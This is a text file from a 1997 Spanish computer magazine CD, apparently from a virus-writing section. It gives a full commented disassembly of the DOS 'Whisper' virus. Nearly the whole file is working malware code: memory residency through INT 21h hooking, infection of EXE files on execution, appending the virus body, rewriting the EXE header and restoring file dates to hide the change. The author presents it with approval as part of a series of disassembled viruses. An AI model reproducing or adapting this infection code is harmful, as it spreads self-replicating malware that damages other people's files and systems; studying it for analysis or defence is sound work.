home *** CD-ROM | disk | FTP | other *** search
/ PCMania 64 / PCMania CD64_1.iso / phy / phy003 / files / articulo.t08 < prev    next >
Encoding:
Text File  |  1997-02-01  |  15.2 KB  |  285 lines

  1. ε;;----  COMENTARIO DEL VIRUS    W H I S P E Rπ
  2. ε                                -------------π
  3.  
  4. Γ;; Y aquí el segundo virus de nuestra revista (maravillosa, exitosa, etc. etc.π
  5. Γ;; etc. Viva la modestia! :). Este es un virus un poco patatero, pero que sa-π
  6. Γ;; le al paso. Como ya es costumbre, completamente desensamblado y comentado.π
  7. Γ;; Inexplicablemente famoso (los hay miles mucho mejores), este viraco infec-π
  8. Γ;; ta EXEs en ejecución... y pare usted de contar. Bueno, qué querreis en 472π
  9. Γ;; bytes, ¿eh? π
  10.  
  11.  
  12.                                                 ∞    Líyak el Oscuroπ
  13.  
  14. σ;; FICHA TÉCNICA DEL VIRUS:π
  15. σ;;-------------------------π
  16.  
  17. σ;; - Infección de EXEs en ejecución, no superiores en tamaño a 64833 bytes.π
  18. σ;; - No tiene efecto. Se limita a copiarse.π
  19. σ;; - Y fín (patatero, patatero...)         π
  20.  
  21.  
  22. 0E10:2000 E80000        CALL    2003          Σ ; Obtención de SI y donde co-  π
  23. 0E10:2003 5E            POP     SI            Σ ; mienza el virus              π
  24. 0E10:2004 83EE03        SUB     SI,+03 
  25. 0E10:2007 B8CE7B        MOV     AX,7BCE       Σ ; Install-check                π
  26. 0E10:200A CD21          INT     21 
  27. 0E10:200C 3DCE7B        CMP     AX,7BCE
  28. 0E10:200F 7517          JNZ     2028
  29.  
  30.                                               Σ ; Aquí si está instalado.      π
  31. 0E10:2011 0E            PUSH    CS
  32. 0E10:2012 1F            POP     DS            Σ ; CS = DS                      π
  33. 0E10:2013 81C6AC01      ADD     SI,01AC       Σ ; Pasa lo que hay de DS:SI a   π
  34. 0E10:2017 BFAC01        MOV     DI,01AC       Σ ; ES:DI, y copia 10 bytes      π
  35. 0E10:201A B90A00        MOV     CX,000A
  36. 0E10:201D FC            CLD      
  37. 0E10:201E F3            REPZ    
  38. 0E10:201F A4            MOVSB
  39.  
  40. 0E10:2020 06            PUSH    ES            Σ ; ES = DS                      π
  41. 0E10:2021 1F            POP     DS
  42.  
  43. 0E10:2022 06            PUSH    ES
  44. 0E10:2023 B87600        MOV     AX,0076       Σ; Salta a ES:0076 (aquí, :2076) π
  45. 0E10:2026 50            PUSH    AX
  46. 0E10:2027 CB            RETF
  47.  
  48.                                               Σ; Instalación en memoria        π
  49. 0E10:2028 B448          MOV     AH,48
  50. 0E10:202A BB1F00        MOV     BX,001F       Σ; Reserva 31 párrafos de memoriaπ
  51. 0E10:202D CD21          INT     21            Σ; RAM para su instalación       π
  52.                                               Σ; En AX el segmento de memoria  π
  53. 0E10:202F 7312          JNB     2043          Σ; Si hay CF                     π
  54.  
  55. 0E10:2031 8CD8          MOV     AX,DS         Σ; Obtiene en el MCB la cantidad π
  56. 0E10:2033 48            DEC     AX            Σ; de memoria que está gastando  π
  57. 0E10:2034 8ED8          MOV     DS,AX         Σ; el programa                   π
  58. 0E10:2036 8B1E0300      MOV     BX,[0003]
  59. 0E10:203A 83EB20        SUB     BX,+20        Σ; Le resta 20 párrafos          π
  60. 0E10:203D B44A          MOV     AH,4A         Σ; Modifica la memoria obtenida  π
  61. 0E10:203F CD21          INT     21            Σ; antes mediante la función 48h π
  62. 0E10:2041 EBE5          JMP     2028          Σ; Hace un Loop hasta que da un  π
  63.                                               Σ; fallo en la función 48h       π
  64.  
  65. 0E10:2043 48            DEC     AX            Σ; AX - 1 = Dirección del MCB    π
  66. 0E10:2044 8EC0          MOV     ES,AX         Σ; Es ES el MCB                  π
  67. 0E10:2046 26            ES:
  68. 0E10:2047 C70601000800  MOV     WORD PTR [0001],0008Σ ; Esto es el PSP asociadoπ
  69. 0E10:204D 40            INC     AX            Σ; En ES otra vez el segmento    π
  70. 0E10:204E 8EC0          MOV     ES,AX
  71.  
  72. 0E10:2050 33FF          XOR     DI,DI         Σ; Copia 01B6 bytes desde DS:SI  π
  73. 0E10:2052 0E            PUSH    CS            Σ; a ES:DI                       π
  74. 0E10:2053 1F            POP     DS
  75. 0E10:2054 B9B601        MOV     CX,01B6
  76. 0E10:2057 FC            CLD      
  77. 0E10:2058 F3            REPZ      
  78. 0E10:2059 A4            MOVSB
  79.  
  80. 0E10:205A 06            PUSH    ES            Σ; Ahora salta...                π
  81. 0E10:205B B86000        MOV     AX,0060 
  82. 0E10:205E 50            PUSH    AX
  83. 0E10:205F CB            RETF
  84.  
  85. 0E10:2060 0E            PUSH    CS            Σ; ...aquí en su copia en memoriaπ
  86. 0E10:2061 1F            POP     DS 
  87. 0E10:2062 B82135        MOV     AX,3521       Σ; Obtiene los vectores de la    π
  88. 0E10:2065 CD21          INT     21            Σ; interrupción 21h              π
  89.                                                                                π
  90. 0E10:2067 891EAF00      MOV     [00AF],BX     Σ; Los guarda en una zona de da- π
  91. 0E10:206B 8C06B100      MOV     [00B1],ES     Σ; tos por el medio del virus    π
  92. 0E10:206F B425          MOV     AH,25         Σ; Engancha la int 21h a su códi-π
  93. 0E10:2071 BAD000        MOV     DX,00D0       Σ; go.                           π
  94. 0E10:2074 CD21          INT     21
  95.  
  96. Σ;;;;;;;;;;;;;;;;;; EJECUCION DEL .EXE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;π
  97.  
  98. 0E10:2076 16            PUSH    SS            Σ; Coge el SS                    π
  99. 0E10:2077 58            POP     AX            Σ; Lo pone en AX                 π
  100. 0E10:2078 0306B401      ADD     AX,[01B4]     Σ; Le suma lo contenido en :01B4 π
  101.                                               Σ; Es un dato que cogió al infec-π
  102.                                               Σ; tar el virus y lo guarda al   π
  103.                                               Σ; final del archivo.            π
  104. 0E10:207C A3AD00        MOV     [00AD],AX     Σ; Lo guarda en :20AD            π
  105. 0E10:207F A1B201        MOV     AX,[01B2]     Σ; Coge lo de :01B2              π
  106. 0E10:2082 A3AB00        MOV     [00AB],AX     Σ; Lo pone en :00AB              π
  107. 0E10:2085 16            PUSH    SS            Σ; AX = SS                       π
  108. 0E10:2086 58            POP     AX    
  109. 0E10:2087 2D1000        SUB     AX,0010       Σ; Le resta 10h                  π
  110. 0E10:208A 8EC0          MOV     ES,AX         Σ; ES = DS = AX                  π
  111. 0E10:208C 8ED8          MOV     DS,AX 
  112. 0E10:208E 16            PUSH    SS            Σ; AX = SS anterior              π
  113. 0E10:208F 58            POP     AX
  114. 0E10:2090 2E            CS:                   Σ; A AX le suma lo contenido en  π
  115. 0E10:2091 0306AC01      ADD     AX,[01AC]     Σ; :21AC                         π
  116. 0E10:2095 FA            CLI                   Σ; Cambia el puntero SS:SP al    π
  117. 0E10:2096 8ED0          MOV     SS,AX         Σ; originalπ
  118. 0E10:2098 2E            CS: 
  119. 0E10:2099 8B26AE01      MOV     SP,[01AE]
  120. 0E10:209D FB            STI
  121.  
  122. 0E10:209E 33C0          XOR     AX,AX         Σ; AX = 0  π
  123. 0E10:20A0 33DB          XOR     BX,BX         Σ; BX = 0  π
  124. 0E10:20A2 33C9          XOR     CX,CX         Σ; CX = 0  π
  125. 0E10:20A4 33D2          XOR     DX,DX         Σ; DX = 0  π
  126. 0E10:20A6 33F6          XOR     SI,SI         Σ; SI = 0  π
  127. 0E10:20A8 33FF          XOR     DI,DI         Σ; DI = 0  π
  128.  
  129. 0E10:20AA EA54ADD620    JMP     20D6:AD54     Σ; Puntero restablecido antesπ
  130.  
  131.                                               Σ; Datos y mensaje           π
  132. 0E10:20AF 831022        ADC     WORD PTR [BX+SI],+22
  133. 0E10:20B2 D85B57                FCOMP   DWORD PTR [BP+DI+57]
  134. 0E10:20B5 68            DB      68   Σ; El mensaje es:                     π
  135. 0E10:20B6 69            DB      69   Σ;     '[Whisper presenterar Tai-Pan]'π
  136. 0E10:20B7 7370          JNB     2129
  137. 0E10:20B9 65            DB      65   
  138. 0E10:20BA 7220          JB      20DC   
  139. 0E10:20BC 7072          JO      2130  
  140. 0E10:20BE 65            DB      65  
  141. 0E10:20BF 7365          JNB     2126 
  142. 0E10:20C1 6E            DB      6E
  143. 0E10:20C2 7465          JZ      2129
  144. 0E10:20C4 7261          JB      2127
  145. 0E10:20C6 7220          JB      20E8
  146. 0E10:20C8 54            PUSH    SP  
  147. 0E10:20C9 61            DB      61     
  148. 0E10:20CA 69            DB      69  
  149. 0E10:20CB 2D5061        SUB     AX,6150  
  150. 0E10:20CE 6E            DB      6E      
  151. 0E10:20CF 5D            POP     BP
  152.  
  153. Σ;;;;;;;;;;;;;;;;;;;;;;; NUEVA INTERRUPCION 21h ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;π
  154.  
  155. 0E10:20D0 3DCE7B        CMP     AX,7BCE     Σ; Si AX es 7BCE, pone en ES el  π
  156. 0E10:20D3 740D          JZ      20E2        Σ; CS del virus y hace un IRET   π
  157.  
  158. 0E10:20D5 3D004B        CMP     AX,4B00     Σ; Si es la función de ejecución π
  159. 0E10:20D8 7503          JNZ     20DD        Σ; procede con la rutina de infec-π
  160. 0E10:20DA E80800        CALL    20E5        Σ; ción y sigue después con la int.π
  161. 0E10:20DD 2E            CS:            
  162. 0E10:20DE FF2EAF00      JMP     FAR [00AF]
  163. 0E10:20E2 0E            PUSH    CS   
  164. 0E10:20E3 07            POP     ES    
  165. 0E10:20E4 CF            IRET
  166.  
  167. ;;; Rutina de infección
  168.  
  169. 0E10:20E5 50            PUSH    AX
  170. 0E10:20E6 53            PUSH    BX        
  171. 0E10:20E7 51            PUSH    CX  
  172. 0E10:20E8 52            PUSH    DX   
  173. 0E10:20E9 1E            PUSH    DS          Σ ; Guarda Stack                 π
  174. 0E10:20EA B8023D        MOV     AX,3D02     Σ ; Abre el archivo (ni siquiera seπ
  175. 0E10:20ED CD21          INT     21          Σ ; molesta en quitar atributos) π
  176.  
  177. 0E10:20EF 7303          JNB     20F4        Σ ; Si error                     π
  178. 0E10:20F1 E9B200        JMP     21A6
  179.  
  180. 0E10:20F4 8BD8          MOV     BX,AX       Σ ; En BX el Handle              π
  181. 0E10:20F6 B43F          MOV     AH,3F       Σ ; Ahora lee 18h (24) bytes.    π
  182. 0E10:20F8 BAB601        MOV     DX,01B6    
  183. 0E10:20FB 0E            PUSH    CS    
  184. 0E10:20FC 1F            POP     DS   
  185. 0E10:20FD B91800        MOV     CX,0018
  186. 0E10:2100 CD21          INT     21
  187.  
  188. 0E10:2102 813EB6014D5A  CMP     WORD PTR [01B6],5A4DΣ ; Comprueba si es EXE. π
  189. 0E10:2108 7527          JNZ     2131          Σ; Si no es, sale              π
  190.                                                                              π
  191. 0E10:210A B80242        MOV     AX,4202       Σ; Sitúa el puntero al final   π
  192. 0E10:210D 33C9          XOR     CX,CX    
  193. 0E10:210F 33D2          XOR     DX,DX    
  194. 0E10:2111 CD21          INT     21       
  195. 0E10:2113 3D41FD        CMP     AX,FD41       Σ; Comprueba que el tamaño no ex-π
  196. 0E10:2116 7719          JA      2131          Σ; ceda de FD41h bytes          π
  197.  
  198. 0E10:2118 0BD2          OR      DX,DX         Σ; Y que sea un EXE de sólo un  π
  199. 0E10:211A 7515          JNZ     2131          Σ; segmento                     π
  200. 0E10:211C 50            PUSH    AX            Σ; Guarda el tamaño             π
  201. 0E10:211D 8B16BE01      MOV     DX,[01BE]     Σ; Coge el word en +08 en la ca-π
  202.                                               Σ; becera (el tamaño de la cabe-π
  203.                                               Σ; cera en párrafos)            π
  204. 0E10:2121 B104          MOV     CL,04         Σ; Lo multiplica por 16         π
  205. 0E10:2123 D3E2          SHL     DX,CL                                         π
  206. 0E10:2125 2BC2          SUB     AX,DX         Σ; Resta a AX el tamaño de la ca-π
  207.                                               Σ; becera                       π
  208. 0E10:2127 2DB601        SUB     AX,01B6       Σ; Le resta después el tamaño delπ
  209.                                               Σ; virus                        π
  210. 0E10:212A 3B06CA01      CMP     AX,[01CA]     Σ; Comprueba si esto es igual alπ
  211. 0E10:212E 58            POP     AX            Σ; registro IP                  π
  212.                                               Σ; Mira si está infectado restan-π
  213.                                               Σ; do al tamaño del archivo la  π
  214.                                               Σ; cabecera y el tamaño del virusπ
  215.                                               Σ; y mirando después si el IP delπ
  216.                                               Σ; puntero de inicio de la cabe-π
  217.                                               Σ; cera apunta al inicio del vi-π
  218.                                               Σ; rus.                         π
  219.  
  220. 0E10:212F 7502          JNZ     2133          Σ; Si no es, continúa           π
  221. 0E10:2131 EB6F          JMP     21A2
  222.  
  223. 0E10:2133 52            PUSH    DX            Σ; Guarda DX y AX               π
  224. 0E10:2134 50            PUSH    AX
  225. 0E10:2135 B80057        MOV     AX,5700       Σ; Obtiene la fecha del archivo π
  226. 0E10:2138 CD21          INT    21
  227.  
  228. 0E10:213A 890EAB00      MOV     [00AB],CX     Σ; La guarda.                   π
  229. 0E10:213E 8916AD00      MOV     [00AD],DX
  230. 0E10:2142 B440          MOV     AH,40         Σ; Copia el virus al final del  π
  231. 0E10:2144 B9AC01        MOV     CX,01AC       Σ; archivo.                     π
  232. 0E10:2147 33D2          XOR     DX,DX
  233. 0E10:2149 CD21          INT     21
  234. 0E10:214B B440          MOV     AH,40         Σ; Copia al final del archivo losπ
  235. 0E10:214D B90A00        MOV     CX,000A       Σ; bytes 0Eh-18h de la cabecera π
  236. 0E10:2150 BAC401        MOV     DX,01C4       Σ; Como hace esto, después es muyπ
  237. 0E10:2153 CD21          INT     21            Σ; fácil desinfectarlo.         π
  238.  
  239. 0E10:2155 58            POP     AX            Σ; Saca AX y lo guarda          π
  240. 0E10:2156 50            PUSH    AX
  241. 0E10:2157 05B601        ADD     AX,01B6       Σ; Le suma al tamaño del archivoπ
  242.                                               Σ; el tamaño del virus          π
  243. 0E10:215A 33D2          XOR     DX,DX         Σ; Pone DX a 0                  π
  244. 0E10:215C B90002        MOV     CX,0200       Σ; Divide AX entre 512 para sa- π
  245. 0E10:215F F7F1          DIV     CX            Σ; ber el tamaño del archivo    π
  246.                                               Σ; DIV 512 para la cabecera.    π
  247. 0E10:2161 40            INC     AX            Σ; Le suma 1 para redondearlo.  π
  248.  
  249. 0E10:2162 A3BA01        MOV     [01BA],AX     Σ; Pone en +04h el tamaño DIV 512π
  250. 0E10:2165 8916B801      MOV     [01B8],DX     Σ; En +02h el resto de la divi- π
  251.                                               Σ; sión.                        π
  252.  
  253. 0E10:2169 C706C4010000  MOV     WORD PTR [01C4],0000 Σ; En +0Eh, 0 (nº máx. deπ
  254.                                                      Σ; párrafos o SS inicial)π
  255. 0E10:216F C706C601FFFF  MOV     WORD PTR [01C6],FFFF Σ; En +10h, -1 (contenidoπ
  256.                                                      Σ; del registro SP)      π
  257. 0E10:2175 C706CC010000  MOV     WORD PTR [01CC],0000 Σ; En +12h, 0 (CRC check)π
  258.  
  259. 0E10:217B 58            POP     AX    Σ; En AX el tamaño del archivo sin virusπ
  260. 0E10:217C 5A            POP     DX    Σ; En DX el tamaño de la cabecera      π
  261. 0E10:217D 2BC2          SUB     AX,DX   Σ; En AX el tamaño real del archivo  π
  262. 0E10:217F A3CA01        MOV     [01CA],AX Σ; En +14h, AX (nuevo puntero)     π
  263. 0E10:2182 B80042        MOV     AX,4200   Σ; Puntero al inicio               π
  264. 0E10:2185 33C9          XOR     CX,CX
  265. 0E10:2187 33D2          XOR     DX,DX
  266. 0E10:2189 CD21          INT     21
  267. 0E10:218B B440          MOV     AH,40     Σ; Copia la cabecera modificada    π
  268. 0E10:218D B91800        MOV     CX,0018
  269. 0E10:2190 BAB601        MOV     DX,01B6
  270. 0E10:2193 CD21          INT     21
  271. 0E10:2195 B80157        MOV     AX,5701   Σ; Restaura la fecha   π
  272. 0E10:2198 8B0EAB00      MOV     CX,[00AB]
  273. 0E10:219C 8B16AD00      MOV     DX,[00AD]
  274. 0E10:21A0 CD21          INT     21
  275. 0E10:21A2 B43E          MOV     AH,3E     Σ; Cierra el handleπ
  276. 0E10:21A4 CD21          INT     21
  277. 0E10:21A6 1F            POP     DS        Σ; Recupera Stackπ
  278. 0E10:21A7 5A            POP     DX
  279. 0E10:21A8 59            POP     CX
  280. 0E10:21A9 5B            POP     BX
  281. 0E10:21AA 58            POP     AX
  282. 0E10:21AB C3            RET               Σ; Retornaπ
  283.  
  284. Σ;; Y s'acabó.π
  285.